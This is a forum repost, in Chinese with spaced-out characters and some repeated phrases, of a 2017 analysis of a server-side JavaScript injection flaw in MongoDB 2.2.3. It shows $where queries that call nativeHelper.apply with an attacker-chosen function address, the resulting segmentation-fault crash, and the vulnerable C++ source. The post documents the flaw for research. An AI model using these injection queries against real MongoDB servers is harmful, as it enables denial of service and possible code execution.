搜索

[20859] 2017-08-14_MongoDB服务器端的JavaScript注入漏洞

文档创建者：s7ckTeam
浏览次数：60
最后更新：2025-01-18
2017-08-14_MongoDB服务器端的JavaScript注入漏洞 M o n g o D B 服 务 器 端 的 J a v a S c r i p t 注 入 漏 洞 L e m o n S e c   2 0 1 7 - 0 8 - 1 4 安 全 研 究 者 安 全 研 究 者 a g i x i d 在 在 M o n g o D B 数 据 库 数 据 库 2 . 2 . 3 版 本 上 发 现 一 个 安 全 漏 洞 ， 并 且 表 示 版 本 上 发 现 一 个 安 全 漏 洞 ， 并 且 表 示 M e t a s p l o i t 利 用 利 用 p a y l o a d 正 在 开 发 当 中 。 正 在 开 发 当 中 。 该 漏 洞 主 要 是 该 漏 洞 主 要 是 M o n g o D B 不 正 确 的 使 用 不 正 确 的 使 用 S p i d e r M o n k e y   J a v a s c r i p t 的 的 N a t i v e H e l p e r 函 数 ， 导 致 可 以 注 入 代 码 或 缓 冲 区 溢 出 执 行 任 意 代 码 。 函 数 ， 导 致 可 以 注 入 代 码 或 缓 冲 区 溢 出 执 行 任 意 代 码 。         以 下 为 研 究 者 带 来 的 一 些 分 析 。 以 下 为 研 究 者 带 来 的 一 些 分 析 。         首 先 在 M o n g o D B 中 尝 试 一 些 服 务 器 端 的 J a v a S c r i p t 注 入 ， 尝 试 运 行 一 个 s h e l l 。 >   r u n ( " u n a m e " , " - a " ) S u n   M a r   2 5   0 7 : 0 9 : 4 9   s h e l l :   s t a r t e d   p r o g r a m s h 1 8 3 8 |   L i n u x   m o n g o   2 . 6 . 3 2 - 5 - 6 8 6   # 1   S M P   S u n   S e p   2 3   0 9 : 4 9 : 3 6   U T C   2 0 1 2   i 6 8 6   G N U / L i n u x 0 以 下 这 个 命 令 只 能 在 m o n g o 客 户 端 才 有 效 >   d b . m y _ c o l l e c t i o n . f i n d ( { $ w h e r e : " r u n ( ' l s ' ) " } ) e r r o r :   {   " $ e r r "   :   " e r r o r   o n   i n v o c a t i o n   o f   $ w h e r e   f u n c t i o n : n J S   E r r o r :   R e f e r e n c e E r r o r :   r u n   i s   n o t   d e f i n e d   n o f i l e _ a : 0 " ,   " c o d e "   :   1 0 0 7 1 } 研 究 者 继 续 深 入 尝 试 >   r u n f u n c t i o n   ( )   {         r e t u r n   n a t i v e H e l p e r . a p p l y ( r u n _ ,   a r g u m e n t s ) ; } 运 行 < r u n > 函 数 ， 在 服 务 端 直 接 调 用   n a t i v e H e l p e r . a p p l y ( r u n _ , [ " u n a m e " , " - a " ] ) ;   ， 返 回 信 息 提 示 n a t i v e H e l p e r . a p p l y 方 法 存 在 。 >   d b . m y _ c o l l e c t i o n . f i n d ( { $ w h e r e : ' n a t i v e H e l p e r . a p p l y ( r u n _ ,   [ " u n a m e " , " - a " ] ) ; ' } ) e r r o r :   {                 " $ e r r "   :   " e r r o r   o n   i n v o c a t i o n   o f   $ w h e r e   f u n c t i o n : n J S   E r r o r :   R e f e r e n c e E r r o r :   r u n _   i s   n o t   d e f i n e d   n o f i l e _ a : 0 " ,                 " c o d e "   :   1 0 0 7 1 } 将 一 个 关 联 数 组 用 到 服 务 器 端 >   d b . m y _ c o l l e c t i o n . f i n d ( { $ w h e r e : ' n a t i v e H e l p e r . a p p l y ( { " x " : 1 3 5 2 4 6 1 4 4 } ,   [ " u n a m e " , " - a " ] ) ; ' } ) S u n   M a r   2 5   0 7 : 1 5 : 2 6   D B C l i e n t C u r s o r : : i n i t   c a l l ( )   f a i l e d S u n   M a r   2 5   0 7 : 1 5 : 2 6   q u e r y   f a i l e d   :   s t h a c k . m y _ c o l l e c t i o n   {   $ w h e r e :   " n a t i v e H e l p e r . a p p l y ( { " x " : 1 3 5 2 4 6 1 4 4 } ,   [ " u n a m e " , " - a " ] ) ; "   }   t o :   1 2 7 . 0 . 0 . 1 : 2 7 0 1 7 E r r o r :   e r r o r   d o i n g   q u e r y :   f a i l e d S u n   M a r   2 5   0 7 : 1 5 : 2 6   t r y i n g   r e c o n n e c t   t o   1 2 7 . 0 . 0 . 1 : 2 7 0 1 7 S u n   M a r   2 5   0 7 : 1 5 : 2 6   r e c o n n e c t   1 2 7 . 0 . 0 . 1 : 2 7 0 1 7   f a i l e d   c o u l d n ' t   c o n n e c t   t o   s e r v e r   1 2 7 . 0 . 0 . 1 : 2 7 0 1 7 结 果 显 示 ： T h e   s e r v e r   c r a s h e d   o /   !   （ 崩 溃 ） 查 看 看 一 下 其 源 代 码 路 径 ： . / s r c / m o n g o / s c r i p t i n g / e n g i n e _ s p i d e r m o n k e y . c p p J S B o o l   n a t i v e _ h e l p e r (   J S C o n t e x t   * c x   ,   J S O b j e c t   * o b j   ,   u i n t N   a r g c ,   j s v a l   * a r g v   ,   j s v a l   * r v a l   )   {                 t r y   {                         C o n v e r t o r   c ( c x ) ;                         N a t i v e F u n c t i o n   f u n c   =   r e i n t e r p r e t _ c a s t (                                         s t a t i c _ c a s t (   c . g e t N u m b e r (   o b j   ,   " x "   )   )   ) ;                         v o i d *   d a t a   =   r e i n t e r p r e t _ c a s t < v o i d * > (                                         s t a t i c _ c a s t (   c . g e t N u m b e r (   o b j   ,   " y "   )   )   ) ;                         v e r i f y (   f u n c   ) ;                         B S O N O b j   a ;                         i f   (   a r g c   >   0   )   {                                 B S O N O b j B u i l d e r   a r g s ;                                 f o r   (   u i n t N   i   =   0 ;   i   <   a r g c ;   + + i   )   {                                         c . a p p e n d (   a r g s   ,   a r g s . n u m S t r (   i   )   ,   a r g v [ i ]   ) ;                                 }                                 a   =   a r g s . o b j ( ) ;                         }                         B S O N O b j   o u t ;                         t r y   {                                 o u t   =   f u n c (   a ,   d a t a   ) ;                         }                         c a t c h   (   s t d : : e x c e p t i o n &   e   )   { 原 函 数 的 功 能 会 从 ” x ”   :   1 3 5 2 4 6 1 4 4 调 用 至 J a v a S c r i p t 对 象 不 带 任 何 检 查 。 >   d b . m y _ c o l l e c t i o n . f i n d ( { $ w h e r e : ' n a t i v e H e l p e r . a p p l y ( { " x " : 0 x 3 1 3 3 7 } ,   [ " u n a m e " , " - a " ] ) ; ' } ) S u n   M a r   2 5   0 7 : 2 0 : 0 3   I n v a l i d   a c c e s s   a t   a d d r e s s :   0 x 3 1 3 3 7   f r o m   t h r e a d :   c o n n 1 S u n   M a r   2 5   0 7 : 2 0 : 0 3   G o t   s i g n a l :   1 1   ( S e g m e n t a t i o n   f a u l t )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理